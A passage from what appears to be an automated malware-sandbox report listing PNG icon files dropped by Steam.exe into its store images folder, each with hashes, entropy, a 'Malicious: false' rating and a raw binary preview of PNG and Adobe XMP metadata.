Preview:	.PNG........IHDR...2...2......?......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\icon_partial_controller_new.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 52 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1668
Entropy (8bit):	7.238211196693157
Encrypted:	false
SSDEEP:
MD5:	32A754DC66EBBE932408571F0D5E01B6
SHA1:	BF8C27A267400CB40042FCDC3082033F79AD288A
SHA-256:	2D21714ABA03E35FF3FB9B4E51058949FA1E2D421D383C18B218EFCE86ACA69D
SHA-512:	EF0612A441AD195A1CC7859D40BB867FE030DD8AFC992E8DFFB22AFF21D0265DF27D16CEECC21D8E63009CFBC94161D978FFE79CB5DB767EC3317374AECDBBDF
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...4... .....]?[f....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:346F283EE2BC11E38F51C179DE0BBDA9" xmpMM:DocumentID="xmp.did:346F283FE2BC11E38F51C179DE0BBDA9"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:346F283CE2BC11E38F51C179DE0BBDA9" stRef:documentID="xmp.did:346F283DE2BC11E38F51C179DE0BBDA9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...z....IDATx....Q..w.2..Ev..-E.h.b6..". W..@......^... 7....,Q./.K.e.y.a.Z....w.t:..6g.L....9.w.<.<...3.J..z..Muf..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\icon_partialcontroller_storefront.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3739
Entropy (8bit):	7.902231736004664
Encrypted:	false
SSDEEP:
MD5:	30AB856D384076AD8E71A4D8B665A131
SHA1:	E3E996D1027AB8C9BBED5124DBF55372B5BB9E1B
SHA-256:	5545E088D4EA7251FA7733BBB76CF05F18CBFB264C2F3412474DB70F4AB82AB4
SHA-512:	4EAA7FBC53038897311EFF7AD9DAC53DF6FF91660B99ABBCE03620437AE4B7B06FE14FDBFF82B398C8F2B3D5AE9790F7DA56F23AD49F3330870F1A5207EBAD89
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...2...2......?......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\icon_platform_htcvivelogo.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	16147
Entropy (8bit):	2.1733115964805005
Encrypted:	false
SSDEEP:
MD5:	960EDA3804C52DEFC82AA6D8A4C95FC9
SHA1:	713235A9E152A74120C693AA6579A6EE3BA0A97C
SHA-256:	DD7CC50C92963A4EA9AF14653D2F6633D6A14D8DBBCB795CF12F72F6E6FA2C96
SHA-512:	9551860621F4B32C25CB70F85F20AA0B9F47978CDE1521DD52BE2ECC18BB4570A87C3232891FCCA31B3BB760863A20BC87087F1C5590C8835435E7BCD2C50407
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...(...(........m....pHYs...............;.iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c111 79.158325, 2015/09/10-01:10:20 ">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:xmp="http://ns.adobe.com/xap/1.0/". xmlns:dc="http://purl.org/dc/elements/1.1/". xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/". xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/". xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#". xmlns:tiff="http://ns.adobe.com/tiff/1.0/". xmlns:exif="http://ns.adobe.com/exif/1.0/">. <xmp:CreatorTool>Adobe Photoshop CC 2015 (Windows)</xmp:CreatorTool>. <xmp:CreateDate>2014-05-08T13:45:35-07:00</xmp:CreateDate>. <xmp:ModifyDate>2016-03-30T17:09:34-07:00</xmp:ModifyDate>. <xmp:M

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\icon_platform_linux.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3542
Entropy (8bit):	7.898386856267133
Encrypted:	false
SSDEEP:
MD5:	6F081DA50EF8244BA9AF4CBB6F95E6DE
SHA1:	BB8F2E83C51CCA0FE7461169079269B74A3B580F
SHA-256:	3613CC0BAF2DCF841167169E1E3B6B52420169A577E029834C63D73393AFA11B
SHA-512:	6E3EE5518140A8DDF8C93794CF99870B4AC7F6E3048BBDC2957107305E5C8E1543C1B67E78A3D58DAE19B0D4C6CB4C9DD40E6A58BEF90AA0597450D3CA6E4D80
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...(...(........m....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\icon_platform_mac.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1311
Entropy (8bit):	6.806133931997626
Encrypted:	false
SSDEEP:
MD5:	9EE37BFC651AAA33D3F8BE989EB6A1FF
SHA1:	A4E6981D09658CBA73D632EB3A43327FDAFC47DC
SHA-256:	EFB34934AB0BA89EBDFCE5B7ECEAF24CACFB6E168776249789EA434DDD2ACC59
SHA-512:	91A43B9CE9B24D286A1FD4F4B1DA621FC7EE81CE6906E18D77D222668057188BB682A59D429F7C14F7C1C2B4247C527D3173C09516FD05F7C8A329A5999A8737
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...(...(........m....tEXtSoftware.Adobe ImageReadyq.e<... iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:5331EAF1EBA811E09DA4E844B373C748" xmpMM:DocumentID="xmp.did:5331EAF2EBA811E09DA4E844B373C748"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5331EAEFEBA811E09DA4E844B373C748" stRef:documentID="xmp.did:5331EAF0EBA811E09DA4E844B373C748"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.......IDATx...q.0...^.p6p6..t.....I6H'.u.....B&.......t.............q.<.I.(k."e=-.W......E.[.}.Ns..z.7...S}2.D8.W.\.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\icon_platform_oculusriftlogo.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	16179
Entropy (8bit):	2.122755978001411
Encrypted:	false
SSDEEP:
MD5:	4C6AF61D29CA2E984A1110BB6D4EBF67
SHA1:	B3D43D41D802433A0789663DF1E8C70F6EC2A861
SHA-256:	84FB66A009644EFFF1255554B231F3F3298048588674A55D7584AEA12A2BF51F
SHA-512:	D26A0B1CBD554B10282C23F636589BB7593804EFA2C6057CF662E40CD1508D8B5334D92F256D34594C42F9E56C9790BA741688E9F7596459E259EAD4EE743C9A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...(...(........m....pHYs...............<}iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c111 79.158325, 2015/09/10-01:10:20 ">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:xmp="http://ns.adobe.com/xap/1.0/". xmlns:dc="http://purl.org/dc/elements/1.1/". xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/". xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/". xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#". xmlns:tiff="http://ns.adobe.com/tiff/1.0/". xmlns:exif="http://ns.adobe.com/exif/1.0/">. <xmp:CreatorTool>Adobe Photoshop CC 2015 (Windows)</xmp:CreatorTool>. <xmp:CreateDate>2014-05-08T13:45:35-07:00</xmp:CreateDate>. <xmp:ModifyDate>2016-03-30T17:10:42-07:00</xmp:ModifyDate>. <xmp:M

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\icon_platform_razerosvr.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	14969
Entropy (8bit):	1.751477910958651
Encrypted:	false
SSDEEP:
MD5:	75B81BB071F85A5C11AADCECA27FD7F7
SHA1:	8E189B5022213EE78180852C2E9F8CB26194227F
SHA-256:	7E2D4804DE890AD0E6E873F0FD9832CB0B304F13FCB0A505CB5D28C01CBE2CE2
SHA-512:	B9FEF040807795BB8FAC1F0F7A221F5551A8B937DE0F9BA668134913C1E15202D4802DF1A6C724D224A4579C72F4236CCCE7AF59EB54484A90917BD6C5304738
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...(...(........m....pHYs...............8UiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 ">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:xmp="http://ns.adobe.com/xap/1.0/". xmlns:dc="http://purl.org/dc/elements/1.1/". xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/". xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/". xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#". xmlns:tiff="http://ns.adobe.com/tiff/1.0/". xmlns:exif="http://ns.adobe.com/exif/1.0/">. <xmp:CreateDate>2017-04-20T09:43:29-07:00</xmp:CreateDate>. <xmp:ModifyDate>2017-04-20T09:48:46-07:00</xmp:ModifyDate>. <xmp:MetadataDate>2017-04-20T09:48:46-07:00</xmp:MetadataDate>. <xmp:Creator

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\icon_platform_streaming360video.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1681
Entropy (8bit):	7.244319598531725
Encrypted:	false
SSDEEP:
MD5:	1440B0A50DAF6A8DD3D324E33EE73AC3
SHA1:	4F8EBCECE13CE649B012C0953D68F7A0248C35F8
SHA-256:	149B84C9F3CE3C373D6C600A6C5CF5FA57E2561D4EC1538B0A814BDB47CB4967
SHA-512:	AAAAA24B6267989AED53634A44F79BC3D89B9FDB2821F2AC9EF7869C0259D452A5F7BBE4AD5E49F89507A199B6370A9B194C3E01E6D2A73593CD54566484AFFF
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...(...(........m....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:5BC8D75A25E811E7B19BFBD7220DE18C" xmpMM:DocumentID="xmp.did:5BC8D75B25E811E7B19BFBD7220DE18C"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5BC8D75825E811E7B19BFBD7220DE18C" stRef:documentID="xmp.did:5BC8D75925E811E7B19BFBD7220DE18C"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>5c......IDATx..Kh.Q..3m..\|.P[D.BT............M../\..R...T..l..J..WmA\.JA..Z..6Mc+U.r...W/.L2..4.s.c..s..9..3..R.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\icon_platform_streamingvideo.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	16405
Entropy (8bit):	2.234748404083067
Encrypted:	false
SSDEEP:
MD5:	BC44C33A90EB82F0EA48EF01FA1F1A3D
SHA1:	D97B8251719072C0917BE74C47D72869E4ECFDC6
SHA-256:	55D35EEA236D000B576390DF0E06B1087D6BA552BD7D2EA1C99E7EE912A12EDA
SHA-512:	A9FC227ED6A2CB5E92838C21B38C016E0D25F09AE7D2960B4F226C5CEB8489F93FA0769C60716DEC2943E58765E2A9B52D50C347DDA4B796D396488E62BFF35F
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...(...(........m....pHYs...............<.iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 ">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:xmp="http://ns.adobe.com/xap/1.0/". xmlns:dc="http://purl.org/dc/elements/1.1/". xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/". xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/". xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#". xmlns:tiff="http://ns.adobe.com/tiff/1.0/". xmlns:exif="http://ns.adobe.com/exif/1.0/">. <xmp:CreatorTool>Adobe Photoshop CC 2015 (Windows)</xmp:CreatorTool>. <xmp:CreateDate>2015-07-22T12:55:44-07:00</xmp:CreateDate>. <xmp:ModifyDate>2015-07-23T15:45:30-07:00</xmp:ModifyDate>. <xmp:M

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\icon_platform_streamingvideoseries.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	16169
Entropy (8bit):	2.044544506160764
Encrypted:	false
SSDEEP:
MD5:	FD2D63A547A45B1386F023755040007A
SHA1:	159F5EFFEEF617AB0F0F9938F195D1D920AC1801
SHA-256:	4D93FF772CFF2C77FE82DEE16579A2F498C864A56E14698D23B49CA2AC13FBFD
SHA-512:	4741718C3FE721F6AD84D9CDD27737E5EEE6C50F4D6AFB74960E79DD4A92CE5369621457EA1D7BAF921A5E49EEE1C1758719CE9BCFC8676F7FEC84A56FD2733A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...(...(........m....pHYs...............=RiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 ">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:xmp="http://ns.adobe.com/xap/1.0/". xmlns:dc="http://purl.org/dc/elements/1.1/". xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/". xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/". xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#". xmlns:tiff="http://ns.adobe.com/tiff/1.0/". xmlns:exif="http://ns.adobe.com/exif/1.0/">. <xmp:CreatorTool>Adobe Photoshop CC 2017 (Windows)</xmp:CreatorTool>. <xmp:CreateDate>2015-07-22T12:55:44-07:00</xmp:CreateDate>. <xmp:ModifyDate>2018-06-28T15:35:47-07:00</xmp:ModifyDate>. <xmp:M

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\icon_platform_win.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3137
Entropy (8bit):	7.887580056952548
Encrypted:	false
SSDEEP:
MD5:	093CEBAAF77C04600C3AB47E8E47C61A
SHA1:	F7D1480F804685E23C4294BF11376740AB01296B
SHA-256:	482D649A0065BF7CC3D24CB7228E01A44349728DD46790D3E249E44BFF747013
SHA-512:	791F3A5D44EC6E215AFA3728DE5E336348E7E2302313781BE6789EC6308E72A939F55004EF54DE2679265278BB8ECEC85C6D7B49435C6E68C3E40ADE25ABD54D
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...(...(........m....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\icon_platform_windowsmr.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3495
Entropy (8bit):	7.895199314659483
Encrypted:	false
SSDEEP:
MD5:	1186C68A291B130F20B1E254EC026C78
SHA1:	75702D918D0B2787E97DD27F639DD1250DAEAA4F
SHA-256:	33098D35717E0C12BF2B7988A27B87104DF982E2909610C8565C754E38061AE7
SHA-512:	6239F164B711FA91078E2F58090AB1A282992954B58CAFFE3AADA3202E61270C03C48CACB52B115C7771EA5A665F4507A64CA745FEDC4276892B730AF3B91775
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...(...(........m....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\icon_singleplayer.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1230
Entropy (8bit):	6.634053425415248
Encrypted:	false
SSDEEP:
MD5:	F045B0564915FFA05E2E599787325284
SHA1:	98F4B489CF5B4BD11CA7BEC3C337B185C50EA00D
SHA-256:	0B7309B3EFD654FD35A7C18211A283DA7CE08CA2F1A1406A67FD155CDD619097
SHA-512:	44F99D1BB6419034AEE5087C5EC037693E1A0AA35FA2CBE8961DB5A8C570FA07F2E8FA015FB09D0BE8AC2DE206C186C9F0CA7F47668618346FDCE6A3E7596B21
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...(...(........m....tEXtSoftware.Adobe ImageReadyq.e<... iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:02637E1CEBA811E0A6E5DB2480463827" xmpMM:DocumentID="xmp.did:02637E1DEBA811E0A6E5DB2480463827"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:02637E1AEBA811E0A6E5DB2480463827" stRef:documentID="xmp.did:02637E1BEBA811E0A6E5DB2480463827"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>?s.8...DIDATx.....0...q.F`.F..d.q......8.:.l.....A.&...-.V>..M.$.w}.........V..d@.....(......G.y.=!..._.3..1X-...m..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\icon_steam_achievements.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1354
Entropy (8bit):	6.832474230073922
Encrypted:	false
SSDEEP:
MD5:	0C5C64CD47F2F71D1E347260FC609EC7
SHA1:	3D5CA9C607EE1637453A6059FA5D2EC51A9C88BC
SHA-256:	16A951D205D726F878E0D4A5010AC6C42AFDD1F60CDD545243A6C184F37545EB
SHA-512:	83ABE0C6AC8F2525C67091A6B79B878F1D0A65552B7187B1F76D23C5AE851CD00C004D87EE92677AADB6FC1009AE1DBE05E726BDB204EE7E4264DEDE35501572
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...(...(........m....tEXtSoftware.Adobe ImageReadyq.e<... iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:0D4D59E0EBA811E0B29DD9EAA87B1C00" xmpMM:DocumentID="xmp.did:0D4D59E1EBA811E0B29DD9EAA87B1C00"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0D4D59DEEBA811E0B29DD9EAA87B1C00" stRef:documentID="xmp.did:0D4D59DFEBA811E0B29DD9EAA87B1C00"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..]....IDATx..X.m.0.....A.A..e.:A3.. .......n..$.8..o...!.$.8.E.....?..1.3c.=96...`d....!RO~.....A...$\|N0o.<. ..;2

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\icon_steam_cloud.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1185
